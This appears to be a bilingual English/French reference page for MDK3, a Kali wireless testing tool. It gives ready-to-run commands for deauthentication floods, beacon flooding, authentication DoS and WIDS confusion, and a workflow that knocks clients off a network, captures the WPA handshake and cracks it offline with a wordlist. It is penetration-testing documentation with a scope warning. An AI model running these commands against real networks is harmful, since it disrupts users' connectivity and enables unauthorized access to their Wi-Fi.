MDK3

Outil de test/attaque sans fil pour stresser les réseaux 802.11 avec des flooding de déauthentification/désassociation, du beacon flooding, et de la confusion WIDS/WIPS. Wireless testing/attack tool for stress-testing 802.11 networks with deauth/disassoc floods, beacon flooding, and WIDS/WIPS confusion.

↗ https://www.kali.org/tools/mdk3/

Overview

MDK3 is a proof-of-concept tool for testing 802.11 network robustness through active attacks — mass deauthentication/disassociation floods, fake beacon flooding (SSID spam), authentication DoS, and WIDS/WIPS confusion attacks that attempt to trigger IDS lockdown against legitimate clients. It’s the predecessor to MDK4 and, despite its age, still ships in Kali and gets used for quick wireless DoS testing and forcing clients off a network to capture a fresh WPA handshake.

Common Usage

Put the interface in monitor mode first

airmon-ng start wlan0

Deauthentication flood against a specific AP (forces reconnects -> handshake capture)

mdk3 wlan0mon d -b bssid_list.txt -c 6

Deauth all clients on a specific BSSID

mdk3 wlan0mon d -w whitelist.txt -c 6

Beacon flood — spam fake SSIDs to confuse nearby scanners/WIDS

mdk3 wlan0mon b -f ssid_list.txt -c 6

Authentication DoS flood against an AP (fills the client table)

mdk3 wlan0mon a -a <bssid> -m

WIDS confusion attack

mdk3 wlan0mon w -e <bssid> -c 6

Typical Workflow (handshake capture)

  1. Start a capture on the target channel
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
  1. Deauth flood to force a client to reassociate
mdk3 wlan0mon d -b bssid.txt -c 6
  1. Confirm handshake captured, then crack offline
aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

Notes

  • Highly disruptive — only run against networks explicitly in scope, and expect it to knock all clients off the AP, not just a target one.
  • MDK4 is the actively maintained successor with more attack modes; use MDK3 when a lab/exercise specifically calls for it or MDK4 isn’t available.
  • Requires a monitor-mode-capable adapter with injection support.
Help / Man page
mdk3 <interface> <test_mode> [test_options]

Test modes:
  b   Beacon flood mode
  a   Authentication DoS mode
  p   Basic probing / ESSID bruteforce mode
  d   Deauthentication / disassociation amok mode
  m   Michael shutdown exploitation (TKIP)
  x   802.1X tests
  w   WIDS/WIPS/WDS confusion mode
  f   MAC filter bruteforce mode
  g   WPA downgrade mode

Common options:
  -b FILE     BSSID blacklist/whitelist file
  -c CHANNEL  Channel to operate on
  -f FILE     SSID list file (for beacon flood)
  -w FILE     Client whitelist (skip these)
  -m          Use valid-looking client MACs
  -s PPS      Packets per second (speed)

Vue d’ensemble

MDK3 est un outil de preuve de concept pour tester la robustesse des réseaux 802.11 via des attaques actives : flooding massif de déauthentification/désassociation, flooding de faux beacons (spam de SSID), DoS d’authentification, et attaques de confusion WIDS/WIPS visant à déclencher un verrouillage IDS contre des clients légitimes. C’est le prédécesseur de MDK4 et, malgré son âge, il est toujours livré dans Kali et sert pour du test DoS sans fil rapide ou pour forcer des clients à quitter un réseau afin de capturer un handshake WPA frais.

Utilisation courante

# Mettre d'abord l'interface en mode monitor
airmon-ng start wlan0

# Flooding de déauthentification contre un AP spécifique (force les reconnexions -> capture de handshake)
mdk3 wlan0mon d -b bssid_list.txt -c 6

# Déauth de tous les clients sur un BSSID spécifique
mdk3 wlan0mon d -w whitelist.txt -c 6

# Beacon flood : spammer de faux SSID pour perturber les scanners/WIDS environnants
mdk3 wlan0mon b -f ssid_list.txt -c 6

# DoS d'authentification contre un AP (remplit la table de clients)
mdk3 wlan0mon a -a <bssid> -m

# Attaque de confusion WIDS
mdk3 wlan0mon w -e <bssid> -c 6

Workflow type (capture de handshake)

# 1. Démarrer une capture sur le canal cible
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# 2. Flooding de déauth pour forcer un client à se réassocier
mdk3 wlan0mon d -b bssid.txt -c 6

# 3. Confirmer la capture du handshake, puis cracker offline
aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

Remarques

  • Très perturbateur : à n’utiliser que contre des réseaux explicitement dans le périmètre, et à s’attendre à ce que ça déconnecte tous les clients de l’AP, pas seulement une cible précise.
  • MDK4 est le successeur activement maintenu avec plus de modes d’attaque ; utiliser MDK3 quand un labo/exercice l’exige spécifiquement ou que MDK4 n’est pas disponible.
  • Nécessite un adaptateur compatible mode monitor avec support de l’injection.
Aide / Page de manuel
mdk3 <interface> <test_mode> [test_options]

Test modes:
  b   Beacon flood mode
  a   Authentication DoS mode
  p   Basic probing / ESSID bruteforce mode
  d   Deauthentication / disassociation amok mode
  m   Michael shutdown exploitation (TKIP)
  x   802.1X tests
  w   WIDS/WIPS/WDS confusion mode
  f   MAC filter bruteforce mode
  g   WPA downgrade mode

Common options:
  -b FILE     BSSID blacklist/whitelist file
  -c CHANNEL  Channel to operate on
  -f FILE     SSID list file (for beacon flood)
  -w FILE     Client whitelist (skip these)
  -m          Use valid-looking client MACs
  -s PPS      Packets per second (speed)